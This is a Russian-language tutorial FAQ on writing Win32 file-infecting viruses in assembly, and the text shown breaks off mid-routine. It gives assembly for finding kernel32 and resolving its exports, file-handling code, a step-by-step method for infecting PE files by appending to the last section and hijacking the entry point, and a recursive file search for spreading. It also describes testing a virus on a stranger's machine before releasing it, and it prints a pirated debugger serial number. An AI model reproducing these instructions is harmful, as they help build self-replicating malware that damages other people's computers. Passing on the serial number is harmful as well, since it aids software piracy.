FAQ:Вирусы под Win32 (v1.01) - 23:11 - Updated by Janusz
 
  Этот текст предназначается для тех, кто уже освоил ассемблер и вирусы
  под DOS, а теперь начал разбираться и с более интересной и перспективной
  платформой.

  1. Что потребуется
  2. Где получить информацию?
  3. Отладка и тестирование
  4. Отладчики
  5. Организация памяти в win32 -- введение
  6. PE-файлы
  7. Вызов кернеловских функций
  8. Работа с файлами
  9. Заражение PE-файлов
  10. Поиск файлов
  11. Резидентность (ring-3)

  1. Что потребуется
  ~~~~~~~~~~~~~~~~~~

  Итак, вы возжелали написать вирус под win32, и непременно на ассемблере.

  Это правильное решение, учитывая то, что не умея писать вирусы на
  ассемблере, совершенно нереально писать хорошие вирусы/черви на C/C++.

  Но, ассемблер -- штука сложная, и там, где на C++ надо
  пять-десять строк и две минуты -- без последующей отладки,
  на ассемблере надо сто строк и пол-часа -- и еще пол-часа на отладку.

  Так что от вас потребуется большое желание писать вирусы,
  ну и несколько месяцев времени.

  Итак, вы должны слегка знать 32-битный ассемблер --
  тот, в котором EAX'ы вместо AX'ов.
  Перейти сразу с 16-битного асма на 32-битный -- НЕ ПОЛУЧИТСЯ,
  а тем более сделать это параллельно с изучением вирусов под win32.

  На компьютере, где вы работаете с этим текстом,
  потребуется следующий софт:

        - Windows 95/98/NT/2000 (рекомендую Win98)
        - 32-битный ассемблер TASM 5.0
            необходимы файлы:
              tasm32.exe, tlink32.exe, import32.lib, *.inc

        - отладчик Soft-ICE под Windows (например Soft-Ice 4.00)
            сдесь следует проявить настойчивость, и, если айс глючит, то
            1. найти более новый/старый айс
            2. попробовать другие винды
            3. поменять железо
        - удобная файловая оболочка и текстовый редактор
            Необходимо добиться, чтобы компиляция файла достигалась нажатием
            не более одной-двух клавиш.
            Тут я рекомендую Dos Navigator, некоторые пользуют Far+MultiEdit.
        - нужно, но не необходимо
            HIEW
            IDA Pro
        - _НИКАКИХ_ (выкинуть в помойку):
            TurboDebugger, Norton/Volkov Commander, HyperTerminal, etc.

  Кроме этого, потребуется такая документация, как:

        - WIN32.HLP -- жизненно необходимо;
            занимает около 12 MB, я взял из Borland C++,
            есть также в бормановском билдере, наверное есть в SDK
            ФИШКА:
            параметры всех функций описанных для C-вызовов,
            на асме надо PUSH-ить в ОБРАТНОМ порядке.
            ФИШКА 2:
            Данный файл аналогичного содержания можно также взять
            из Borland Delphi.

        - DDPR.HLP -- необходимо для win9X ring-0/VxD
            есть в DDK

        - лучше чтоб были SDK и DDK
          это такие здоровые архивы с доками, инклюдниками и прочим стаффом,
          для написания простых аппликух и драйверов соответственно

        - Так же очень неплохая штука это "Описание формата PE" by Hardwisdom,
          тем более на русском языке.

  2. Где получить информацию?
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Книги
    ~~~~~
     Лично мне известны всего две толковые книги по Win32 и хотя
  они уже нехило устарели, но почитать их для общего развития все же
  стоит:
       Мэтт Питрек "Секреты системного програмирования в Windows95"
       Эндрю Шульман "Неофициальная Windows 95" (2-e издание)

     Софт
     ~~~~
      http://protools.cjb.net

     Интернет
     ~~~~~~~~
     Русскоязычные сайты:

     http://z0mbie.cjb.net - Страничка Z0mbie, передовые вирусные технологии
     http://topd.tsx.org - Он-лайн журнал Top Device, статьи, ссылки на
                           сайты с документацией.
     http://smf.chat.ru - Сайт группы SMF
     http://myallstar.cjb.net - Сайт группы Misdirected Youth
     http://vx.netlux.org - Огромный архив журналов, исходников, ссылок.

     Западные:

     http://www.coderz.net - Море вирмейкерских страничек
     http://virus.cyberspace.sk - Вирусный сайт Asterix'a.

     IRC:
     ~~~~
     Undernet:

       #virus - Англоязычный, но на нем можно встретить и русскоговорящих
       #smf   - Русскоязычный

        EFnet:

       #sgww  - Русскоязычный

     Скажу сразу, что не только получить толковые ответы на свои вопросы,
     но и просто пообщаться на вирусные темы на вышеуказанных
     каналах удается редко. Других правда нет:)

  3. Отладка и тестирование
  ~~~~~~~~~~~~~~~~~~~~~~~~~

  Поговорим от том, как наиболее эффективно производить отладку
  и тестирование вирусов, независимо от их написания.

  Задача:
  1. Взять какой-нибудь простой ЧУЖОЙ win32-вирус в исходниках
     рекомендую любой из in-the-wild вирусов (получивших распространение)
  2. Откомпилировать, запустить и размножить
  3. Пройтись по нему отладчиком
  4. Вернуть машину в исходное состояние (убрать вирус)
  5. Сделать это за минимальный срок

  Научившись проделывать подобное, вы получите необходимый опыт,
  который поможет в написании и отладке уже своих вирусов.

  В общем-то это ваше домашнее задание, и лучше чтобы вы так поигрались
  не с одним, а с двумя-тремя разными вирусами.

  Всего есть четыре последовательных уровня отладки готового кода:

  1. Тестирование свеженаписанного куска кода -- отдельно от вируса
  2. Отладка новой модификации вируса (после добавления свеженаписанного кода)
     -- на своей машине; в целях безопасности --
        измените все используемые расширения с .EXE
        (и/или сигнатуры с PE00) на что-нибудь другое,
        как в вирусе так и у файлов-жертв
  3. Отладка полностью работающего вируса -- на своей машине
     -- для этого требуется:
            1. создать на винте отдельный раздел
            2. сделать две версии таблицы разделов в MBR'е, таких,
               чтобы при основном MBR'е были видны все разделы,
               а при "вирусном" MBR'е работал только "вирусный" раздел
            3. Написать пару программок прописывающих эти MBR'ы на винт
            4. Загрузиться с "вирусного" раздела и установить на нем
               восстанавливалку оригинального MBR'а, винды, софт-айс,
               ну и что там еще понадобится
            5. Загрузиться с нормального раздела и заархивировать весь
               вирусный раздел в один файл
            6. Написать .BAT-файл, форматирующий (стирающий) вирусный
               раздел и распаковывающий туда весь запакованный стафф
               (установленные винды, айс, и т.п.)
            7. Сделать дискету, на нее записать программу, восстанавливающую
               оригинальный MBR
     -- В результате для тестирования вируса потребуется:
            1. запустить BAT файл и через 5 мин у вас будет готовый к
               тестированию раздел
            2. записать на "вирусный" раздел подлежащий тестированию вирус
            3. запустить программку, прописывающую "вирусный" MBR на винт
            4. перезагрузиться
            5. размножить/отладить вирус на "вирусном" разделе
            6. прописать нормальный MBR обратно (другая програмка)
            7. перезагрузиться в "нормальный" раздел
     -- все технические приготовления для одного такого тестирования должны
        занимать не более 5-10 минут; иначе это будет неэффективно.
        Конечно, можно тестировать вирус и на "своем" разделе, а потом
        либо написать свой собственный антивирус либо переставить винды;
        можно таким же образом восстанавливать "свои" винды.
  4. Отладка полностью работающего вируса на чужой машине --
     -- этот этап предшествует выпуску вируса вируса в жизнь, но отличается
        от него тем, что за машиной будет живой юзер и потом вы сможете
        узнать о результате (не от юзера, естественно)


  4. Отладчики
  ~~~~~~~~~~~~

  Единственный отладчик, который потребуется -- это Soft-Ice.

  При установке Soft-Ice обратите особое внимание на выбор видеоадаптера,
  не стоит отчаиваться если вы выбрали из списка предложенных именно ваш
  видеоадаптер, но ничего не заработало. В этом случае стоит попробывать
  выбрать другие видеоадптеры, возможно с каким-то все заработает.
  (Мой Trident 8900, упорно не хотел работать как Standart Trident SVGA,
   но отлично заработал как Trident 9440).
   Если вы перепробывали все видеоадаптеры, но ничего не заработало,
   практически в 100% помогает выбор VESA, правда в этом случае
   Soft-Ice будет работать в оконном режиме, а не в полноэкранном.

   Как это не удивительно, но для меня составило большую трудность найти
   серийный номер для Soft-Ice в интернет. Серийный номер 5103-00009B-9B
   работает по крайней мере с Soft-Ice 4.03-4.05

   Главное надо помнить, что Soft-Ice в использовании не сложнее турбо
   дебагера, а по возможностям намного превосходит его.

   Отлаживать вашу программу с помощью Soft-Ice тоже просто,
   для этого нужно вставить в начало вашей программы вызов 3-го прерывания,
   а в файле winice.dat после строки INIT= добавить i3here on;
   Теперь при запуске вашей программу после выполнения int 3 управление
   получит Soft-Ice, и вы сможете спокойно ее отлаживать.

   Основные команды в нем почти те же самые, что и в досовском DEBUG.EXE,
   который обязан знать каждый.
   На любую комбинацию команд можно назначить хоткей.

   Просмотреть в айсе команды можно написав в командной строке h (или help),
   можно также использовать ? в DEBUG.EXE  -- это более понятно.


  5. Организация памяти в win32 -- введение
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  Всего рассказать не смогу, ибо не знаю;
  поэтому для начала просмотрите все доки, которые у вас есть на эту тему.
  Рекомендую взять описание какого-нибудь процессора (386,486,586),
  там будут главы посвященные организации памяти. Лучше нет ничего.

  Итак, win32 -- мультизадачная система, и в ней живут много процессов
  (программ). И каждый процесс находится в своем собственном 32-битном
  виртуальном_адресном_пространстве.

  32-битное значит, что всего в этом пространстве 2^32 байт, или 4 гига.
  По сути виртуальное_адресное_пространство представляет из себя
  набор 4-килобайтных страниц обычной (физической) памяти,
  "отображенных" в самые разные "виртуальные" адреса (кратные 4-м килобайтам),
  от 0 до 0xFFFFF000.
  Те места, куда ничего "не отображено" -- "пустые" (их большинство),
  при чтении/записи возникает ошибка.


  физ.память,                   виртуальная память,
  пусть будет 16 MB             4 гига

   4k------------------------->  4k     выделено, подгружено(==в физ. памяти)

   4k    свободно               ::::::  пусто
                             |>  4k
   4k                        |          выделено, выгружено(==в свопе)
                             |  ::::::
  ::::::                     |  ::::::  пусто (==не выделено)
  файл на харде              |  ::::::
  (своп), дохуя MB           |   4k     выделено, но еще не было доступа
   4k------------------------|
                                ::::::
  ::::::                        ::::::

  Все 4-килобайтные страницы в 4-гигабайтном пространстве могут быть
  ВЫДЕЛЕНЫ (allocate), и тогда соответствующим диапазонам виртуальных адресов
  будет соответствовать физическая память, на харде или в памяти.
  Страницы могут быть ОСВОБОЖДЕНЫ (free, deallocate), и тогда информация об
  отображении теряется, а физическая память "освобождается", то есть
  становится СВОБОДНОЙ для последующего использования.
  Выделенные страницы могут быть ПОДГРУЖЕНЫ (commit, lock), тогда они будут
  "зафиксированы", т.е. окажутся где-то в реальной физической памяти.
  Подгруженные страницы могут быть ВЫГРУЖЕНЫ (decommit, unlock),
  и тогда физическая память освободится, а данные из нее будут временно
  сброшены на диск в своп (swap-file).

  Реальная физическая память выделяется не при выделении страниц, а при
  первом к ним доступе.
  Подгрузка и выгрузка выделенных страниц (swapping) осуществляется
  автоматически, "прозрачно", то есть прикладному программеру не надо знать,
  где сейчас находится та или иная страница -- на диске или в памяти.

  То, что показано на рисунке (справа) -- это
  виртуальное_адресное_пространство одного процесса,
  а раз процессов таких много,
  то и виртуальных_адресных_пространств тоже много.

  Информация об отображении реальной памяти в виртуальную
  (одного виртуального_адресного_пространства),
  вместе со всеми данными хранящимися в этой памяти называется КОНТЕКСТом.
  И говорят, что каждый процесс существует в определенном контексте.
  В контексте каждого процесса находятся код/данные самого процесса,
  стэки, хеап (heap), код/данные ядра системы, используемые
  процессом библиотеки (DLL) и прочяя хрень.

  Представьте себе тетрадь в клетку, на каждом из листов что-то нарисовано.
  Клеточки -- это страницы памяти по 4k. Листы бумаги -- это контексты,
  или виртуальные_адресные_пространства.

  Благодаря множественности контекстов, разные программы могут существовать
  в разных контекстах по одним и тем же виртуальным адресам.

  Что где в памяти находится:

  смещение
  0x00000000 Первый мег -- DOS V86-задача,
             под win9X частично можно читать/писать.
  0x00200000 Три мега -- всякая хрень, вроде бы нечего там делать.
  0x00400000 2044 мега пользовательской памяти, в ней живет процесс
             и все его DLL-ки, стэки, хеапы, короче все юзерское дерьмо.
  0x80000000 2 гига -- системная память, kernel, ядро нулевого кольца,
             под win9X -- еще и VxD-драйвера

  Самая главная фишка.

  Заключается в том, что для каждой страницы существует так называемый
  уровень доступа.
  В win32 всего два уровня защиты: ring-3 (юзер) и ring-0 (ядро).
  Находясь в ring-0 свершенно наплевать какой уровень доступа у какой
  страницы -- все их (подгруженные) можно без проблем читать и писать.
  А вот для ring-3 есть несколько вариантов:
  1. страницы для чтения и записи (read-write)
  2. страницы только для чтения (read-only)
  3. хуй (ни читать ни писать в такие страницы нельзя)
  4. комбинации вышеперчисленных с испольнябельностью (executable),
     а также guard, writecopy и еще хер знает что --
     скорее всего ничего их этого вам не встретится.

  Идея в том, что кодовые страницы в системе помечаются как read-only,
  и поэтому их можно исполнять и читать, а вот писать в них нельзя.
  Это в основном страницы кода в kernel'е и в ваших PE-файлах.
  Проблема с PE-файлами решается добавленим нужного бита в ObjectTable
  при заражении файла, либо через VirtualProtect/WriteProcessMemory;
  проблема с kernel'ами и системными хернями решается
  (под маздаем) несколько более хитрыми приемами.


  6. PE-файлы
  ~~~~~~~~~~~

  PE (Portable Executable) -- это такой формат,
  в котором представлены практически все win32 EXE и DLL файлы.
  Поэтому с этим форматом мы и будем работать.

  Прежде всего, рассчитаны PE EXE/DLL файлы на работу в третьем кольце,
  через KERNEL32.DLL и прочие библиотеки.

  KERNEL32.DLL и другие библиотеки ЭКПОРТИРУЮТ (отдают) другим PE файлам
  кучу процедур, которые по существу и есть win32 api.

  Обычные PE файлы ИМПОРТИРУЮТ (принимают) из KERNEL'а и других DLL-ек часть
  функций, и через них общаются с системой.

  А сам KERNEL32.DLL и прочие работают уже с нулевым кольцом (больше 2-х гиг),
  где и происходит основная часть всех действий.

  Происходит все это так: в
  каждом PE файле есть структуры импорта и/или экспорта
  (хотя их там может и не быть), в которых записаны примерно такие вещи:
  импорт:  я, MAZAFUK.EXE, импортирую из KERNEL32.DLL функцию DeleteFile.
  экспорт: я, KERNEL32.DLL, экспортирую функцию DeleteFile.

  В результате при запуске MAZAFUK.EXE загрузчик обязан загрузить в
  контекст этого процесса KERNEL32.DLL и все остальные требуемые DLL-ки,
  а адреса импортируемых из них функций положить в специально
  для этого отведенные в MAZAFUCK.EXE дворды.
  Так что после загрузки, мазафак будет просто делать CALL'ы
  по соответствующим двордам.

  При написании PE-EXE файлов, ни о каких импортах/экспортах думать не надо,
  эти занимается линкер (tlink32.exe).
  Просто указываются следующие вещи:

  extern DeleteFileA:PROC        ; будет добавлено в импорт
  call   DeleteFileA             ; вызвать импортируемую процедуру

  public  mazafuk                ; будет добавлено в экспорт
  mazafuk: ...

  Вообще, нам ни импорт ни экспорт как таковые ненужны, потому что вирус
  посредством линкера ничего не импортирует и не экспортирует, оно ему
  просто не надо; вирус чаще всего находит адреса нужных ему процедур сам.


  Рассмотрим PE-файл в памяти. (полное описание формата смотрите отдельно)

  Файл этот состоит из следующих частей:
  MZ-заголовок
  PE-заголовок
  таблица секций (==таблица объектов)
  секции (несколько штук)

  Секции файла -- это такие его участки, в которых хранятся код, данные,
  ресурсы, и прочяя хрень.

  Нужно понять, что в отличие от, скажем, dos'овского
  COM файла, образ PE файлов в памяти не соответствует их образу на диске.
  Хотя, в отличие от dos'овских EXE-файлов, все их заголовки
  загружаются в память целиком.
  Идея в том, что разные секции загружаются в виртуальную память не так,
  как они хранятся на диске, то есть
  виртуальные_адреса_секций_относительно_начала_файла_в_памяти (RVA)
  не соответствуют
  физическим_адресам_секций_относительно_начала_файла_на_диске.
  Информация об этих несоответствиях и хранится в таблице секций.

  В PE-заголовке есть поле ImageBase.
  Оно выровнено на 64k, и указывает, начиная с какого
  виртуального адреса файл должен быть загружен в память.
  MZ-заголовок, PE-заголовок и таблица секций загружаются прямо по этому
  адресу, как они есть.
  Дальше -- хуже. В соответствии с таблицей секций,
  под каждую секцию выделяется память чуть дальше заголовков,
  но совсем не обязательно подряд.
  То есть если в файле все секции лежат одна за другой,
  то после загрузки в память между
  секциями могут оказаться куски "неинициализированной" памяти,
  за счет того, что в исходнике в конце любой секции
  может быть к примеру написано: DB 1000 dup (?)

  Исходя из этого, при работе с PE файлами для преобразования виртуального
  адреса в физический и обратно, приходится писать специальные процедуры.


  7. Вызов кернеловских функций
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  Это хитрая фишка, и ее надо отлаживать ОТДЕЛЬНО от всего прочего.
  Ваша задача: написать процедуру, которой на вход приходит имя
  (или хэш имени) некоторой функции из KERNEL32.DLL,
  а на выходе мы получаем адрес этой функции.

  Путь лежит через два шага:
  1. научиться получать адрес KERNEL32.DLL, и
  2. производить анализ кернеловских экспортов

  Адрес kernel'а во всех маздаях (win9x) суть BFF70000.
  Под winNT этот адрес другой, и, вроде бы,
  может быть разным в разных версиях.
  Что касается адресов экспортируемых функций, то они разные в каждой версии
  и маздая и NT'ей.

  При получении управления в PE файл прямо из загрузчика, на стэке
  лежит адрес возврата в загрузчик. В маздаях загрузчиком является
  KERNEL32.DLL, поэтому сняв со стэка адрес можно узнать адрес
  внутри kernel'а.
  С другой стороны, делать этого не нужно, так как в маздаях кернел
  фиксирован. Другое дело, winNT.
  Там, сняв со стэка адрес возврата мы получаем
  адрес какой-то там левой DLL-ки, далее выравниваем его на 64k и сканируем
  вниз до MZ. Там смотрим в экспорт и проверяем, не kernel ли это.
  Если не кернел, то анализируем уже ИМПОРТЫ, и только оттуда узнаем адрес
  какой-нибудь кернеловской функции. (она там наверняка будет).
  Анализировать импорта - это значит разобрать секцию импорта жертвы
  и найти там функции вызываемые из kernel, и уже по адресам
  этих функций найти адрес кренеля в памяти.
  Существует два простых способа анализа секции импорта:

  1. Поиск в секции импорта адреса функции GetModuleHandleA, затем
  вызвав ее получить хендл(т.е. адрес) кернеля в памяти.
  Тут надо сделать два замечания:
     Вполне  возможно,  что  файл секцию импорта которого вы разбираете не
   импортирует такой функции, тогда вы "бреетесь".
     Можно  сразу  искать функцию GetProcAddress, и с помощью нее получить
   адреса  всех  нужных  вам  функций  вообще  не разбирая секцию экспорта
   кернеля. Но вероятность того, что файл импортирует эту функцию, намного
   ниже, чем та, что он импортирует GetModuleHandleA.

.386p
.model flat
extrn GetModuleHandleA:proc
.data
imagebase       dd 00400000h
Modulename      db 'KERNEL32.DLL',0
gmh             db 'GetModuleHandleA',0
.code
start:
       int 3h                  ;Для отладки

       mov edx,[imagebase]

       mov  eax,[edx+3ch]
       add  eax,edx            ;EAX - адрес PE заголовка

       mov ebx,[eax+80h]       ;EBX - адрес первого каталога импорта (RVA)
       add ebx,edx             ;Выровняли на imagebase

next_module:

       mov ecx,[ebx+0ch]       ;Указатель на имя модуля из которого осуществляется
                               ;импорт для текущего каталога импорта

       cmp 4 ptr ecx,0         ;Последний каталог импорта имеет нулевые значения
       jz  no_kern_imp
       add ecx,edx

       cmp 4 ptr [ecx],'NREK'  ;Тут по уму еще надо проверить на kernel32
                               ;(имя модуля может быть в нижнем регистре)
       jne next
       cmp 4 ptr [ecx+4],'23LE'
       je kern_imp

next:
       add ebx,14h             ;Следующий каталог импорта
       jmp next_module

kern_imp:

       mov eax,[ebx]           ;Указатель на таблицу имен импортируемых
                               ;функций из kernel32
       add eax,edx
       xor ecx,ecx

api_imp:

       mov esi,[eax]
       cmp 4 ptr esi,0         ;нулевой элемень = конец таблицы  имен
       jz  no_kern_imp

       add esi,2               ;Первые два байти в каждой записи таблицы
                               ;имен отведены под хинт-нейм
       add esi,edx

       mov edi,offset gmh
       push ecx
       mov ecx,16
       repe cmpsb              ;Ищем GetModuleHandleA
       pop  ecx
       jz  f_gmh

       add ecx,4
       add eax,4
       jmp api_imp             ;Следующая запись

f_gmh:
       mov eax,[ebx+10h]       ;указатель на таблицу адресов импорта
       add eax,edx
       add eax,ecx             ;указатель на адрес соответсвующий требуемой
                               ;нами функции
       mov eax,[eax]           ;адрес функии

       mov  ecx,offset Modulename
       push ecx
       call eax                ;Вызываем GetModuleHandleA
                               ;RETRUN: EAX - хэндл (адрес) kernel32.dll

no_kern_imp:

       nop
end start

   2. Второй способ анализа - найти адрес любой функции импортируемой
   из кернеля и выровняв ее на сегмент, получить приблизительный адрес
   кренеля, а затем уже сканируя память найти точный адрес кернеля.

.386p
.model flat
extrn GetModuleHandleA:proc
.data
imagebase       dd 00400000h
Modulename      db 'KERNEL32.DLL',0
gmh             db 'GetModuleHandleA',0
.code
start:
       int 3h                  ;Для отладки

       mov edx,[imagebase]

       mov  eax,[edx+3ch]
       add  eax,edx            ;EAX - адрес PE заголовка

       mov ebx,[eax+80h]       ;EBX - адрес первого каталога импорта (RVA)
       add ebx,edx             ;Выровняли на imagebase

next_module:

       mov ecx,[ebx+0ch]       ;Указатель на имя модуля из которого осуществляется
                               ;импорт для текущего каталога импорта

       cmp 4 ptr ecx,0         ;Последний каталог импорта имеет нулевые значения
       jz  no_kern_imp
       add ecx,edx

       cmp 4 ptr [ecx],'NREK'  ;Тут по уму еще надо проверить на kernel32
                               ;(имя модуля может быть в нижнем регистре)
       jne next
       cmp 4 ptr [ecx+4],'23LE'
       je kern_imp

next:
       add ebx,14h             ;Следующий каталог импорта
       jmp next_module

kern_imp:

       mov eax,[ebx+10h]           ;Указатель на таблицу адресов импортируемых
                                  ;функций из kernel32
       add eax,edx

       mov eax,[eax]
       xor ax,ax
       ...

  Как узнать адрес начала PE-файла зная ЛЮБОЙ виртуальный адрес внутри файла?

  Поскольку
  1. адрес загрузки PE файла выровнен на 64k,
  2. практически всю память от начала файла и до конца выделенной
     ему области можно читать
  3. в самом начале файла лежит MZ-заголовок
  то справедлив следующий алгоритм:

  1. взять любой виртуальный адрес внутри файла
  2. выровнять на 64k
  3. если по адресу НЕ байты 'MZ', то вычесть из адреса 64k и повторить 3

   ...
f_kern32:

       cmp 2 ptr [edx],'ZM'
       je  check_pe
       cmp 2 ptr [edx],'MZ'
       jne next_seg

check_pe:

       cmp 1 ptr [edx+18h],40h        ; На всякий случай
       jne next_seg

       mov esi,[edx+3ch]
       add esi,edx

       cmp 4 ptr [esi],'EP'            ; На всякий случай
       jne next_seg
       jmp kern32

next_seg:

       sub edx,10000h
       jmp f_kern32

kern32:
no_kern_imp:

       nop

end start


  Как анализировать kernel'овские экспорты?

  В зависимости от свободного времени, желания, и возможностей,
  есть такие пути:

  Путь 1, наилучший:

  Посмотреть формат PE файлов, ту его часть, где описаны экспорты,
  и, получив адрес kernel'а, самому разобрать его таблицу экспортов и найти
  адреса требуемых функций.

  Путь 2, весьма отстойный:

  Юзать директом следующий код:

; input:  EDI=имя функции kernel'а (например 'CreateProcessA')
; output: ZF=1, EAX=0 (function not found)
;         ZF=0, EAX=function va

get_proc_address:       pusha

                        mov     ebx, 0BFF70000h         ; get_kernel_base

                        mov     ecx, [ebx+3Ch]          ; mz_neptr
                        mov     ecx, [ecx+ebx+78h]      ; pe_exporttablerva
                        jecxz   __return_0
                        add     ecx, ebx

                        xor     esi, esi        ; current index
__search_cycle:         lea     edx, [esi*4+ebx]
                        add     edx, [ecx+20h]  ; ex_namepointersrva
                        mov     edx, [edx]      ; name va
                        add     edx, ebx        ; +imagebase

                        push    edi             ; compare names
__cmp_cycle:            mov     al, [edx]
                        cmp     al, [edi]
                        jne     __cmp_done
                        or      al, al
                        jz      __cmp_done
                        inc     edi
                        inc     edx
                        jmp     __cmp_cycle
__cmp_done:             pop     edi

                        je      __name_found

                        inc     esi             ; index++
                        cmp     esi, [ecx+18h]  ; ex_numofnamepointers
                        jb      __search_cycle

__return_0:             xor     eax, eax        ; return 0
                        jmp     __return

__name_found:           mov     edx, [ecx+24h]  ; ex_ordinaltablerva
                        add     edx, ebx        ; +imagebase
                        movzx   edx, word ptr [edx+esi*2]; edx=current ordinal
                        mov     eax, [ecx+1Ch]  ; ex_addresstablerva
                        add     eax, ebx        ; +imagebase
                        mov     eax, [eax+edx*4]; eax=current address
                        add     eax, ebx        ; +imagebase

__return:               mov     [esp+7*4], eax  ; popa.eax

                        popa
                        retn

  Глюки тут бывают такие:

  1. Если в программе вообще нет импортов, то -- вроде бы kernel подгружаться
  не должен -- но kernel это специальная dll'ка, кояя загружена всегда;
  взамен этого возникнут проблемы с вызовом кернеловских функций.
  Ситуация 'нет импортов' возникает, например, когда во всем сорце
  нет ни одной директивы EXTERN, а выход из файла происходит по RET'у.
  (такое возможно)

  2. Имена функций, иногда в зависимости от того, юзают ли они
  в качестве параметров символьные строки (а не только числа),
  могут кончаться на -A и на -W.
  Постфикс -A (ascii) значит, что строки в ASCII формате,
  то есть элементами строк являются БАЙТы, и кончаются они на 0.
  Постфикс -W (wide) значит, что элементами строк являются ВОРДы,
  это суть так называемые юникодные строки, а вообще это большая лажа,
  та как некоторые такие функции кернелом не поддерживаются.
  Функции эти (-A/-W) дублируются, то есть если есть одна, то скорее всего
  есть и другая; более того, у них одинаковые параметры вызовов, а все
  различия только в формате передаваемых им строк.
  Бывает, имена функций имеют в конце -Ex, то есть кончаются на Ex, ExA и ExW.
  Так вот, постфикс -Ex суть просто часть имени функции.
  Такие функции по сравнению со своими упрощенными (без Ex)
  вариантами, юзают большее (EXtended) число параметров, а могут упрощенных
  вариантов и не иметь. Как правило, внутри "упрощенных" функций управление
  передается на их -Ex - варианты.
  Так вот, о чем там я.
  Говно заключается в том, что в большинстве документаций описаны функции
  типа CreateFile, а на самом деле такой функции в kernel'е НЕТУ.
  А есть в кернеле две функции: CreateFileA и CreateFileW.
  Просто доки расчитаны на C-шный компилятор, который сам разберется, какого
  типа строки передаются этой функции, и добавит A или W соответственно.

  Поэтому, перед тем как передавать в свою
  процедуру_поиска_функций_в_кернеле имя какой-нибудь функции,
  убедитесь (гляньте в kernel32.dll) что такая функция
  там в точности существует.

  8. Работа с файлами
  ~~~~~~~~~~~~~~~~~~~

  Научившись получать из кернела функции, следует написать процедуры
  для работы с файлами.
  (открытие, получение длины, перемещение указателя, чтение/запись, закрытие)
  А затем удостовериться, что они работают.

  Что значит написать процедуры?
  Не надо их писать, они уже есть в кернеле. Но то, как они вызываются,
  оставляет желать лучшего, ибо им надо PUSH-ить кучу левых параметров.
  Поэтому рекомендую оформить работу с файлами подобно следующему:

  ; action: open file for read-write access
  ; input:  EDX=file name
  ; output: CF=0 -- EAX=handle
  ;         CF=1 -- error

  fopen_rw:             pusha
                        push    0
                        push    FILE_ATTRIBUTE_NORMAL
                        push    OPEN_EXISTING
                        push    0
                        push    FILE_SHARE_READ + FILE_SHARE_WRITE
                        push    GENERIC_READ + GENERIC_WRITE
                        push    edx
                        call    CreateFileA
                        cmp     eax, -1
                        je      error
                        clc
                        mov     [esp+7*4], eax          ; popa.eax
                        popa
                        retn
error:                  stc
                        popa
                        retn

  Более подробно эти функции приведены на моей страничке в maplib4.zip

  И еще одно. Некоторые любят использовать для работы с файлами макросы.
  Макросы эти будут вставлять в вирус немерянные куски кода, PUSH-ащие
  кучи нулей, и каждый такой макрос будет занимать байт по 30.
  Так что для уменьшения длины вируса и упрощения его отладки
  лучше юзать процедуры.

  Пример считывания файла в память:

  push    0
  push    80h     ; FILE_ATTRIBUTE_NORMAL
  push    3       ; 3=OPEN_EXISTING  2=CREATE_ALWAYS
  push    0
  push    1+2     ; 1=FILE_SHARE_READ 2=FILE_SHARE_WRITE
  push    080000000h+40000000h ; GENERIC_READ + GENERIC_WRITE
  push    offset FileName
  call    CreateFileA
  cmp     eax, -1
  je      __failed
  xchg    ebx, eax

  push    0
  push    ebx                     ; handle
  call    GetFileSize
  mov     bufsize, eax

  push    eax                     ; size
  push    0                       ; 0=GMEM_FIXED
  call    GlobalAlloc
  mov     bufptr, eax

  push    0
  push    offset bytesread        ; bytesread
  push    bufsize                 ; size
  push    bufptr                  ; buf
  push    ebx                     ; handle
  call    ReadFile

  push    ebx                     ; handle
  call    CloseHandle

  9. Заражение PE-файлов
  ~~~~~~~~~~~~~~~~~~~~~~

  После того, как мы научились получать из кернела процедуры и
  работать с файлами, нашей задачей является заразить какой-нибудь файл.
  Заражать поначалу лучше командой INT 3, с последующей передачей управления
  на оригинальную точку входа.

  Наиболее простым и эффективным методом заражения PE файла является
  добавление к его последней секции.
  Для этого надо:

   проверить физическую и виртуальную длину последней секции:
    если физическая длина окажется больше виртуальной, не трогать такой файл;
    также не трогайте файл если какая-либо из длин нулевая
   старую точку входа сохранить внутрь вируса;
   вычислить виртуальный адрес вируса в файле;
    это будет
     физический_адрес_конца_последней_секции  транслированный_в_виртуальный;
    добавив к нему VirusEntryPoint-VirusStart записать это дело в
     RVA точки входа (внутри PE-заголовка)
   по физическому_адресу_конца_последней_секции записать вирусный код
   физическую и виртуальную длины вируса округлить по
    FileAlignment и ObjectAlignment, взятым из PE-заголовка
   физическую длину последней секции -- увеличить на физическую длину вируса
   виртуальную длину последней секции -- увеличить на виртуальную длину вируса
   поле SizeOfImage внутри PE-заголовка -- установить равным
    виртуальному_адресу_начала_последней_секции +
    виртуальной_длине_последней_секции

  В принципе все.
  Кроме всего описанного, надо еще проверять такие вещи,
  как не оверлей ли это, не DLL-ка ли это и не нулевая ли точка входа,
  Если в файле нет импортов -- не заражать.
  Если в файле есть фиксапы, а вирус привязывается к imagebase -- не заражать.

  На практике такое заражение проявляется как
  1. считывание заголовков файла
  2. их анализ
  заражение:
  3. изменение заголовков и настройка вируса
  4. дописывание вируса к концу файла
  5. запись измененных заголовков назад в начало файла

  Убивать фиксапы можно только если это не DLL-ка;
  привязываться к imagebase можно только если отсутствуют (убиты) фиксапы.

  Переход на оригинальную точку входа рекомендуется делать
  командой JMP (опкод 0xE9).


  10. Поиск файлов
  ~~~~~~~~~~~~~~~

  Теперь осталось только научиться искать новые файлы.
  Опять же, это надо отлаживать отдельно.
  Поиск осуществляется фукциями FindFirstFileA / FindNextFileA / FindClose.
  Достаточно вставить нахождение пары файлов и их заражение в начало
  нашей программы, и простейший win32-вирус готов.

  Вот как примерно выглядит рекурсивная процедура поиска файлов в каталоге:

ff_struc                struc                   ; win32 "searchrec" structure
ff_attr                 dd      ?
ff_time_create          dd      ?,?
ff_time_lastaccess      dd      ?,?
ff_time_lastwrite       dd      ?,?
ff_size_hi              dd      ?
ff_size                 dd      ?
                        dd      ?,?
ff_fullname             db      260 dup (?)
ff_shortname            db      14 dup (?)
                        ends

; subroutine: process_directory
; action:     1. find all files in the current directory
;             2. for each found directory (except "."/"..") recursive call;
;                for each found file call process_file
; input:      EDI=ff_struc
;             EDX=directory name
; output:     none

process_directory:      pusha
                        sub     esp, 1024       ; место под имя директории

                        mov     esi, edx        ; в EDX имя диры
                        mov     edi, esp        ; свой буфер под имя

